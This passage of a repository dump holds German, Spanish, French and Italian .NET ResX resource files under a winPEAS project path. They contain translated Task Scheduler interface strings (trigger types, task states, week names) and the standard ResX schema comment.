= list of Week Days; 2 = WeekInterval</comment>\n  </data>\n  <data name=\"WWAllWeeks\" xml:space=\"preserve\">\n    <value>Jede</value>\n  </data>\n  <data name=\"WWFifthWeek\" xml:space=\"preserve\">\n    <value>Fünfte</value>\n  </data>\n  <data name=\"WWFirstWeek\" xml:space=\"preserve\">\n    <value>Erste</value>\n  </data>\n  <data name=\"WWFourthWeek\" xml:space=\"preserve\">\n    <value>Vierte</value>\n  </data>\n  <data name=\"WWLastWeek\" xml:space=\"preserve\">\n    <value>Letzte</value>\n  </data>\n  <data name=\"WWSecondWeek\" xml:space=\"preserve\">\n    <value>Zweite</value>\n  </data>\n  <data name=\"WWThirdWeek\" xml:space=\"preserve\">\n    <value>Dritte</value>\n  </data>\n  <data name=\"TriggerDurationNot0Short\" xml:space=\"preserve\">\n    <value>für {0}</value>\n  </data>\n  <data name=\"TriggerRepetitionShort\" xml:space=\"preserve\">\n    <value>Alle {0} {1}.</value>\n  </data>\n  <data name=\"Error_TriggerEndBeforeStart\" xml:space=\"preserve\">\n    <value>Das Datum und die Uhrzeit, zu der ein Trigger abläuft, müssen nach der Uhrzeit liegen, zu der er gestartet oder aktiviert wird.</value>\n  </data>\n</root>"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Properties/Resources.es.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n  <!-- \n    Microsoft ResX Schema \n    \n    Version 2.0\n    \n    The primary goals of this format is to allow a simple XML format \n    that is mostly human readable. The generation and parsing of the \n    various data types are done through the TypeConverter classes \n    associated with the data types.\n    \n    Example:\n    \n    ... ado.net/XML headers & schema ...\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\n    <resheader name=\"version\">2.0</resheader>\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\n    </data>\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\n        <comment>This is a comment</comment>\n    </data>\n                \n    There are any number of \"resheader\" rows that contain simple \n    name/value pairs.\n    \n    Each data row contains a name, and value. The row also contains a \n    type or mimetype. Type corresponds to a .NET class that support \n    text/value conversion through the TypeConverter architecture. \n    Classes that don't support this are serialized and stored with the \n    mimetype set.\n    \n    The mimetype is used for serialized objects, and tells the \n    ResXResourceReader how to depersist the object. This is currently not \n    extensible. For a given mimetype the value must be set accordingly:\n    \n    Note - application/x-microsoft.net.object.binary.base64 is the format \n    that the ResXResourceWriter will generate, however the reader can \n    read any of the formats listed below.\n    \n    mimetype: application/x-microsoft.net.object.binary.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\n            : and then encoded with base64 encoding.\n    \n    mimetype: application/x-microsoft.net.object.soap.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\n            : and then encoded with base64 encoding.\n\n    mimetype: application/x-microsoft.net.object.bytearray.base64\n    value   : The object must be serialized into a byte array \n            : using a System.ComponentModel.TypeConverter\n            : and then encoded with base64 encoding.\n    -->\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\n    <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\" />\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\n      <xsd:complexType>\n        <xsd:choice maxOccurs=\"unbounded\">\n          <xsd:element name=\"metadata\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" use=\"required\" type=\"xsd:string\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"assembly\">\n            <xsd:complexType>\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"data\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" msdata:Ordinal=\"1\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"resheader\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\n            </xsd:complexType>\n          </xsd:element>\n        </xsd:choice>\n      </xsd:complexType>\n    </xsd:element>\n  </xsd:schema>\n  <resheader name=\"resmimetype\">\n    <value>text/microsoft-resx</value>\n  </resheader>\n  <resheader name=\"version\">\n    <value>2.0</value>\n  </resheader>\n  <resheader name=\"reader\">\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <resheader name=\"writer\">\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <data name=\"ActionTypeComHandler\" xml:space=\"preserve\">\n    <value>Llamar a un objeto COM</value>\n  </data>\n  <data name=\"ActionTypeExecute\" xml:space=\"preserve\">\n    <value>Iniciar un programa</value>\n  </data>\n  <data name=\"ActionTypeSendEmail\" xml:space=\"preserve\">\n    <value>Enviar un correo electrónico</value>\n  </data>\n  <data name=\"ActionTypeShowMessage\" xml:space=\"preserve\">\n    <value>Mostrar un mensaje</value>\n  </data>\n  <data name=\"ComHandlerAction\" xml:space=\"preserve\">\n    <value>{3} {0:P}</value>\n  </data>\n  <data name=\"DOWAllDays\" xml:space=\"preserve\">\n    <value>todos los días</value>\n  </data>\n  <data name=\"EmailAction\" xml:space=\"preserve\">\n    <value>{1} {0}</value>\n  </data>\n  <data name=\"EndSentence\" xml:space=\"preserve\">\n    <value>.</value>\n  </data>\n  <data name=\"ExecAction\" xml:space=\"preserve\">\n    <value>{0} {1}</value>\n  </data>\n  <data name=\"HyphenSeparator\" xml:space=\"preserve\">\n    <value>-</value>\n  </data>\n  <data name=\"ListSeparator\" xml:space=\"preserve\">\n    <value>,</value>\n  </data>\n  <data name=\"MOYAllMonths\" xml:space=\"preserve\">\n    <value>mensualmente</value>\n  </data>\n  <data name=\"MultipleActions\" xml:space=\"preserve\">\n    <value>Varias acciones definidas.</value>\n  </data>\n  <data name=\"MultipleTriggers\" xml:space=\"preserve\">\n    <value>Se definieron varios desencadenadores</value>\n  </data>\n  <data name=\"ShowMessageAction\" xml:space=\"preserve\">\n    <value>{0}</value>\n  </data>\n  <data name=\"TaskDefaultPrincipal\" xml:space=\"preserve\">\n    <value>Autor</value>\n  </data>\n  <data name=\"TaskStateDisabled\" xml:space=\"preserve\">\n    <value>Deshabilitado</value>\n  </data>\n  <data name=\"TaskStateQueued\" xml:space=\"preserve\">\n    <value>En cola</value>\n  </data>\n  <data name=\"TaskStateReady\" xml:space=\"preserve\">\n    <value>Listo</value>\n  </data>\n  <data name=\"TaskStateRunning\" xml:space=\"preserve\">\n    <value>En ejecución</value>\n  </data>\n  <data name=\"TaskStateUnknown\" xml:space=\"preserve\">\n    <value>Desconocido</value>\n  </data>\n  <data name=\"TriggerAnyUser\" xml:space=\"preserve\">\n    <value>Cualquier usuario</value>\n  </data>\n  <data name=\"TriggerBoot1\" xml:space=\"preserve\">\n    <value>Al iniciar el sistema</value>\n  </data>\n  <data name=\"TriggerCustom1\" xml:space=\"preserve\">\n    <value>Desencadenador personalizado</value>\n  </data>\n  <data name=\"TriggerDaily1\" xml:space=\"preserve\">\n    <value>A las {0:t} cada día</value>\n  </data>\n  <data name=\"TriggerDaily2\" xml:space=\"preserve\">\n    <value>A las {0:t} cada {1} días </value>\n  </data>\n  <data name=\"TriggerDuration0\" xml:space=\"preserve\">\n    <value>indefinidamente</value>\n  </data>\n  <data name=\"TriggerDurationNot0\" xml:space=\"preserve\">\n    <value>para una duración de {0}</value>\n  </data>\n  <data name=\"TriggerEndBoundary\" xml:space=\"preserve\">\n    <value>El desencadenador expira en {0:G}.</value>\n  </data>\n  <data name=\"TriggerEvent1\" xml:space=\"preserve\">\n    <value>Filtro de eventos personalizado</value>\n  </data>\n  <data name=\"TriggerEventBasic1\" xml:space=\"preserve\">\n    <value>Al producirse un evento: {0}</value>\n  </data>\n  <data name=\"TriggerEventBasic2\" xml:space=\"preserve\">\n    <value>, Origen: {0}</value>\n  </data>\n  <data name=\"TriggerEventBasic3\" xml:space=\"preserve\">\n    <value>, Identificador del evento: {0}</value>\n  </data>\n  <data name=\"TriggerIdle1\" xml:space=\"preserve\">\n    <value>Cuando el equipo está inactivo</value>\n  </data>\n  <data name=\"TriggerLogon1\" xml:space=\"preserve\">\n    <value>Cuando {0} inicie sesión</value>\n  </data>\n  <data name=\"TriggerMonthly1\" xml:space=\"preserve\">\n    <value>A las {0:t} el día {1} de {2}, a partir del {0:d}</value>\n  </data>\n  <data name=\"TriggerMonthlyDOW1\" xml:space=\"preserve\">\n    <value>A las {0:t} el {1} {2:f} cada {3}, a partir del {0:d}</value>\n  </data>\n  <data name=\"TriggerRegistration1\" xml:space=\"preserve\">\n    <value>Al crear o modificar la tarea</value>\n  </data>\n  <data name=\"TriggerRepetition\" xml:space=\"preserve\">\n    <value>Después de desencadenarse, repetir cada {0} {1}.</value>\n  </data>\n  <data name=\"TriggerSessionConsoleConnect\" xml:space=\"preserve\">\n    <value>En la conexión local a {0}.</value>\n  </data>\n  <data name=\"TriggerSessionConsoleDisconnect\" xml:space=\"preserve\">\n    <value>En la desconexión local de {0}.</value>\n  </data>\n  <data name=\"TriggerSessionRemoteConnect\" xml:space=\"preserve\">\n    <value>En la conexión remota a {0}.</value>\n  </data>\n  <data name=\"TriggerSessionRemoteDisconnect\" xml:space=\"preserve\">\n    <value>En la desconexión remota desde {0}.</value>\n  </data>\n  <data name=\"TriggerSessionSessionLock\" xml:space=\"preserve\">\n    <value>Cuando {0} bloquee la estación de trabajo</value>\n  </data>\n  <data name=\"TriggerSessionSessionUnlock\" xml:space=\"preserve\">\n    <value>Cuando {0} desbloquee la estación de trabajo</value>\n  </data>\n  <data name=\"TriggerSessionUserSession\" xml:space=\"preserve\">\n    <value>sesión de usuario de {0}</value>\n  </data>\n  <data name=\"TriggerTime1\" xml:space=\"preserve\">\n    <value>A las {0:t} el {0:d}</value>\n  </data>\n  <data name=\"TriggerTypeBoot\" xml:space=\"preserve\">\n    <value>Al inicio</value>\n  </data>\n  <data name=\"TriggerTypeCustom\" xml:space=\"preserve\">\n    <value>Desencadenador personalizado</value>\n  </data>\n  <data name=\"TriggerTypeDaily\" xml:space=\"preserve\">\n    <value>Diariamente</value>\n  </data>\n  <data name=\"TriggerTypeEvent\" xml:space=\"preserve\">\n    <value>Al producirse un evento</value>\n  </data>\n  <data name=\"TriggerTypeIdle\" xml:space=\"preserve\">\n    <value>Al estar inactivo</value>\n  </data>\n  <data name=\"TriggerTypeLogon\" xml:space=\"preserve\">\n    <value>Al iniciar la sesión</value>\n  </data>\n  <data name=\"TriggerTypeMonthly\" xml:space=\"preserve\">\n    <value>Mensual</value>\n  </data>\n  <data name=\"TriggerTypeMonthlyDOW\" xml:space=\"preserve\">\n    <value>Mensual</value>\n  </data>\n  <data name=\"TriggerTypeRegistration\" xml:space=\"preserve\">\n    <value>Al crear o modificar tarea</value>\n  </data>\n  <data name=\"TriggerTypeSessionStateChange\" xml:space=\"preserve\">\n    <value>Al producirse un cambio de estado</value>\n  </data>\n  <data name=\"TriggerTypeTime\" xml:space=\"preserve\">\n    <value>Una vez</value>\n  </data>\n  <data name=\"TriggerTypeWeekly\" xml:space=\"preserve\">\n    <value>Semanalmente</value>\n  </data>\n  <data name=\"TriggerWeekly1Week\" xml:space=\"preserve\">\n    <value>A las {0:t} cada {1} de todas las semanas, a partir del {0:d}</value>\n  </data>\n  <data name=\"TriggerWeeklyMultWeeks\" xml:space=\"preserve\">\n    <value>A las {0:t} cada {1} cada {2} semanas, a partir del {0:d}</value>\n  </data>\n  <data name=\"WWAllWeeks\" xml:space=\"preserve\">\n    <value>cada</value>\n  </data>\n  <data name=\"WWFifthWeek\" xml:space=\"preserve\">\n    <value>quinto</value>\n  </data>\n  <data name=\"WWFirstWeek\" xml:space=\"preserve\">\n    <value>primero</value>\n  </data>\n  <data name=\"WWFourthWeek\" xml:space=\"preserve\">\n    <value>cuarto</value>\n  </data>\n  <data name=\"WWLastWeek\" xml:space=\"preserve\">\n    <value>último</value>\n  </data>\n  <data name=\"WWSecondWeek\" xml:space=\"preserve\">\n    <value>segundo</value>\n  </data>\n  <data name=\"WWThirdWeek\" xml:space=\"preserve\">\n    <value>tercer</value>\n  </data>\n  <data name=\"TriggerRepetitionShort\" xml:space=\"preserve\">\n    <value>Cada {0} {1}.</value>\n  </data>\n  <data name=\"TriggerDurationNot0Short\" xml:space=\"preserve\">\n    <value>para {0}</value>\n  </data>\n  <data name=\"Error_TriggerEndBeforeStart\" xml:space=\"preserve\">\n    <value>La fecha y hora en que expira el activador deben ser posteriores a la hora en que se inicia o se activa.</value>\n  </data>\n</root>"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Properties/Resources.fr.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n  <!-- \n    Microsoft ResX Schema \n    \n    Version 2.0\n    \n    The primary goals of this format is to allow a simple XML format \n    that is mostly human readable. The generation and parsing of the \n    various data types are done through the TypeConverter classes \n    associated with the data types.\n    \n    Example:\n    \n    ... ado.net/XML headers & schema ...\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\n    <resheader name=\"version\">2.0</resheader>\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\n    </data>\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\n        <comment>This is a comment</comment>\n    </data>\n                \n    There are any number of \"resheader\" rows that contain simple \n    name/value pairs.\n    \n    Each data row contains a name, and value. The row also contains a \n    type or mimetype. Type corresponds to a .NET class that support \n    text/value conversion through the TypeConverter architecture. \n    Classes that don't support this are serialized and stored with the \n    mimetype set.\n    \n    The mimetype is used for serialized objects, and tells the \n    ResXResourceReader how to depersist the object. This is currently not \n    extensible. For a given mimetype the value must be set accordingly:\n    \n    Note - application/x-microsoft.net.object.binary.base64 is the format \n    that the ResXResourceWriter will generate, however the reader can \n    read any of the formats listed below.\n    \n    mimetype: application/x-microsoft.net.object.binary.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\n            : and then encoded with base64 encoding.\n    \n    mimetype: application/x-microsoft.net.object.soap.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\n            : and then encoded with base64 encoding.\n\n    mimetype: application/x-microsoft.net.object.bytearray.base64\n    value   : The object must be serialized into a byte array \n            : using a System.ComponentModel.TypeConverter\n            : and then encoded with base64 encoding.\n    -->\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\n    <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\" />\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\n      <xsd:complexType>\n        <xsd:choice maxOccurs=\"unbounded\">\n          <xsd:element name=\"metadata\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" use=\"required\" type=\"xsd:string\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"assembly\">\n            <xsd:complexType>\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"data\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" msdata:Ordinal=\"1\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"resheader\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\n            </xsd:complexType>\n          </xsd:element>\n        </xsd:choice>\n      </xsd:complexType>\n    </xsd:element>\n  </xsd:schema>\n  <resheader name=\"resmimetype\">\n    <value>text/microsoft-resx</value>\n  </resheader>\n  <resheader name=\"version\">\n    <value>2.0</value>\n  </resheader>\n  <resheader name=\"reader\">\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <resheader name=\"writer\">\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <data name=\"ActionTypeExecute\" xml:space=\"preserve\">\n    <value>Démarrer un programme</value>\n  </data>\n  <data name=\"ActionTypeSendEmail\" xml:space=\"preserve\">\n    <value>Envoyer un courrier électronique</value>\n  </data>\n  <data name=\"ActionTypeShowMessage\" xml:space=\"preserve\">\n    <value>Afficher un message</value>\n  </data>\n  <data name=\"ComHandlerAction\" xml:space=\"preserve\">\n    <value>{3} {0:P}</value>\n  </data>\n  <data name=\"DOWAllDays\" xml:space=\"preserve\">\n    <value>tous les jours</value>\n  </data>\n  <data name=\"EmailAction\" xml:space=\"preserve\">\n    <value>{1} {0}</value>\n  </data>\n  <data name=\"EndSentence\" xml:space=\"preserve\">\n    <value>.</value>\n  </data>\n  <data name=\"ExecAction\" xml:space=\"preserve\">\n    <value>{0} {1}</value>\n  </data>\n  <data name=\"HyphenSeparator\" xml:space=\"preserve\">\n    <value>-</value>\n  </data>\n  <data name=\"ListSeparator\" xml:space=\"preserve\">\n    <value>,</value>\n  </data>\n  <data name=\"MOYAllMonths\" xml:space=\"preserve\">\n    <value>chaque mois</value>\n  </data>\n  <data name=\"MultipleActions\" xml:space=\"preserve\">\n    <value>Plusieurs actions définies.</value>\n  </data>\n  <data name=\"MultipleTriggers\" xml:space=\"preserve\">\n    <value>Plusieurs déclencheurs sont définis.</value>\n  </data>\n  <data name=\"ShowMessageAction\" xml:space=\"preserve\">\n    <value>{0}</value>\n  </data>\n  <data name=\"TaskDefaultPrincipal\" xml:space=\"preserve\">\n    <value>Auteur</value>\n  </data>\n  <data name=\"TaskStateDisabled\" xml:space=\"preserve\">\n    <value>Désactivé</value>\n  </data>\n  <data name=\"TaskStateQueued\" xml:space=\"preserve\">\n    <value>En attente</value>\n  </data>\n  <data name=\"TaskStateReady\" xml:space=\"preserve\">\n    <value>Prêt</value>\n  </data>\n  <data name=\"TaskStateRunning\" xml:space=\"preserve\">\n    <value>En cours d'exécution</value>\n  </data>\n  <data name=\"TaskStateUnknown\" xml:space=\"preserve\">\n    <value>Inconnu</value>\n  </data>\n  <data name=\"TriggerAnyUser\" xml:space=\"preserve\">\n    <value>Tout utilisateur</value>\n  </data>\n  <data name=\"TriggerBoot1\" xml:space=\"preserve\">\n    <value>Au démarrage du système</value>\n  </data>\n  <data name=\"TriggerCustom1\" xml:space=\"preserve\">\n    <value>Personnaliser le déclencheur</value>\n  </data>\n  <data name=\"TriggerDuration0\" xml:space=\"preserve\">\n    <value>Indéfiniment</value>\n  </data>\n  <data name=\"TriggerEvent1\" xml:space=\"preserve\">\n    <value>Filtre d’événement personnalisé</value>\n  </data>\n  <data name=\"TriggerEventBasic2\" xml:space=\"preserve\">\n    <value>, Source : {0}</value>\n  </data>\n  <data name=\"TriggerIdle1\" xml:space=\"preserve\">\n    <value>Lorsque l’ordinateur est inactif</value>\n  </data>\n  <data name=\"TriggerLogon1\" xml:space=\"preserve\">\n    <value>À l’ouverture de session de {0}</value>\n  </data>\n  <data name=\"TriggerRegistration1\" xml:space=\"preserve\">\n    <value>Lors de la création ou de la modification de la tâche</value>\n  </data>\n  <data name=\"TriggerSessionSessionLock\" xml:space=\"preserve\">\n    <value>Lors du verrouillage de la station de travail de {0}.</value>\n  </data>\n  <data name=\"TriggerSessionSessionUnlock\" xml:space=\"preserve\">\n    <value>Lors du déverrouillage de la station de travail de {0}.</value>\n  </data>\n  <data name=\"TriggerSessionUserSession\" xml:space=\"preserve\">\n    <value>session utilisateur de {0}</value>\n  </data>\n  <data name=\"TriggerTypeBoot\" xml:space=\"preserve\">\n    <value>Au démarrage</value>\n  </data>\n  <data name=\"TriggerTypeCustom\" xml:space=\"preserve\">\n    <value>Personnaliser le déclencheur</value>\n  </data>\n  <data name=\"TriggerTypeDaily\" xml:space=\"preserve\">\n    <value>Tous les jours</value>\n  </data>\n  <data name=\"TriggerTypeEvent\" xml:space=\"preserve\">\n    <value>Sur un événement</value>\n  </data>\n  <data name=\"TriggerTypeIdle\" xml:space=\"preserve\">\n    <value>Après une période d'inactivité</value>\n  </data>\n  <data name=\"TriggerTypeLogon\" xml:space=\"preserve\">\n    <value>À l’ouverture de session</value>\n  </data>\n  <data name=\"TriggerTypeMonthly\" xml:space=\"preserve\">\n    <value>Tous les mois</value>\n  </data>\n  <data name=\"TriggerTypeMonthlyDOW\" xml:space=\"preserve\">\n    <value>Tous les mois</value>\n  </data>\n  <data name=\"TriggerTypeRegistration\" xml:space=\"preserve\">\n    <value>Lors de la création/modification de la tâche</value>\n  </data>\n  <data name=\"TriggerTypeSessionStateChange\" xml:space=\"preserve\">\n    <value>Au changement de statut</value>\n  </data>\n  <data name=\"TriggerTypeTime\" xml:space=\"preserve\">\n    <value>Une fois</value>\n  </data>\n  <data name=\"TriggerTypeWeekly\" xml:space=\"preserve\">\n    <value>Hebdomadaire</value>\n  </data>\n  <data name=\"TriggerWeekly1Week\" xml:space=\"preserve\">\n    <value>À {0:t} chaque {1} de chaque semaine, à partir du {0:d}</value>\n  </data>\n  <data name=\"TriggerWeeklyMultWeeks\" xml:space=\"preserve\">\n    <value>À {0:t} chaque {1} de chaque {2} semaines, à partir du {0:d}</value>\n  </data>\n  <data name=\"WWAllWeeks\" xml:space=\"preserve\">\n    <value>toutes les</value>\n  </data>\n  <data name=\"WWFifthWeek\" xml:space=\"preserve\">\n    <value>cinquième</value>\n  </data>\n  <data name=\"WWFirstWeek\" xml:space=\"preserve\">\n    <value>premier</value>\n  </data>\n  <data name=\"WWFourthWeek\" xml:space=\"preserve\">\n    <value>quatrième</value>\n  </data>\n  <data name=\"WWLastWeek\" xml:space=\"preserve\">\n    <value>dernier</value>\n  </data>\n  <data name=\"WWSecondWeek\" xml:space=\"preserve\">\n    <value>deuxième</value>\n  </data>\n  <data name=\"WWThirdWeek\" xml:space=\"preserve\">\n    <value>troisième</value>\n  </data>\n  <data name=\"TriggerDurationNot0Short\" xml:space=\"preserve\">\n    <value>pour {0}</value>\n  </data>\n  <data name=\"TriggerRepetitionShort\" xml:space=\"preserve\">\n    <value>Chaque {0} {1}.</value>\n  </data>\n  <data name=\"TriggerRepetition\" xml:space=\"preserve\">\n    <value>Après déclenché, répéter chaque les {0} {1}.</value>\n  </data>\n  <data name=\"TriggerDurationNot0\" xml:space=\"preserve\">\n    <value>pour une durée de {0}</value>\n  </data>\n  <data name=\"ActionTypeComHandler\" xml:space=\"preserve\">\n    <value>Appeler un objet COM</value>\n  </data>\n  <data name=\"TriggerDaily1\" xml:space=\"preserve\">\n    <value>À {0} tous les jours</value>\n  </data>\n  <data name=\"TriggerDaily2\" xml:space=\"preserve\">\n    <value>À {0} tous les {1} jours</value>\n  </data>\n  <data name=\"TriggerEndBoundary\" xml:space=\"preserve\">\n    <value>Déclencheur expire à {0:G}.</value>\n  </data>\n  <data name=\"TriggerMonthly1\" xml:space=\"preserve\">\n    <value>À {0:t} le jour {1} de {2}, à compter du {0:d}.</value>\n  </data>\n  <data name=\"TriggerMonthlyDOW1\" xml:space=\"preserve\">\n    <value>À {0:t} sur {1} {2} de chaque {3}, à partir du {0:d}.</value>\n  </data>\n  <data name=\"TriggerTime1\" xml:space=\"preserve\">\n    <value>À {0:t} le {0:d}</value>\n  </data>\n  <data name=\"TriggerEventBasic1\" xml:space=\"preserve\">\n    <value>Lors de l'événement - Journal: {0}</value>\n  </data>\n  <data name=\"TriggerEventBasic3\" xml:space=\"preserve\">\n    <value>, ID d'événement: {0}</value>\n  </data>\n  <data name=\"TriggerSessionConsoleConnect\" xml:space=\"preserve\">\n    <value>Lors de la connexion locale à {0}.</value>\n  </data>\n  <data name=\"TriggerSessionRemoteConnect\" xml:space=\"preserve\">\n    <value>Lors de la connexion à distance à {0}.</value>\n  </data>\n  <data name=\"TriggerSessionConsoleDisconnect\" xml:space=\"preserve\">\n    <value>Sur l’ordinateur local, se déconnecter de {0}.</value>\n  </data>\n  <data name=\"TriggerSessionRemoteDisconnect\" xml:space=\"preserve\">\n    <value>Sur l’ordinateur distant, se déconnecter de {0}.</value>\n  </data>\n  <data name=\"Error_TriggerEndBeforeStart\" xml:space=\"preserve\">\n    <value>La date et l&amp;#39;heure d&amp;#39;expiration d&amp;#39;un déclencheur doivent être postérieures à son heure de démarrage ou d&amp;#39;activation.!</value>\n  </data>\n</root>"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Properties/Resources.it.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n  <!-- \n    Microsoft ResX Schema \n    \n    Version 2.0\n    \n    The primary goals of this format is to allow a simple XML format \n    that is mostly human readable. The generation and parsing of the \n    various data types are done through the TypeConverter classes \n    associated with the data types.\n    \n    Example:\n    \n    ... ado.net/XML headers & schema ...\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\n    <resheader name=\"version\">2.0</resheader>\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\n    </data>\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\n        <comment>This is a comment</comment>\n    </data>\n                \n    There are any number of \"resheader\" rows that contain simple \n    name/value pairs.\n    \n    Each data row contains a name, and value. The row also contains a \n    type or mimetype. Type corresponds to a .NET class that support \n    text/value conversion through the TypeConverter architecture. \n    Classes that don't support this are serialized and stored with the \n    mimetype set.\n    \n    The mimetype is used for serialized objects, and tells the \n    ResXResourceReader how to depersist the object. This is currently not \n    extensible. For a given mimetype the value must be set accordingly:\n    \n    Note - application/x-microsoft.net.object.binary.base64 is the format \n    that the ResXResourceWriter will generate, however the reader can \n    read any of the formats listed below.\n    \n    mimetype: application/x-microsoft.net.object.binary.base64\n    value   : The object must be serialized with \n            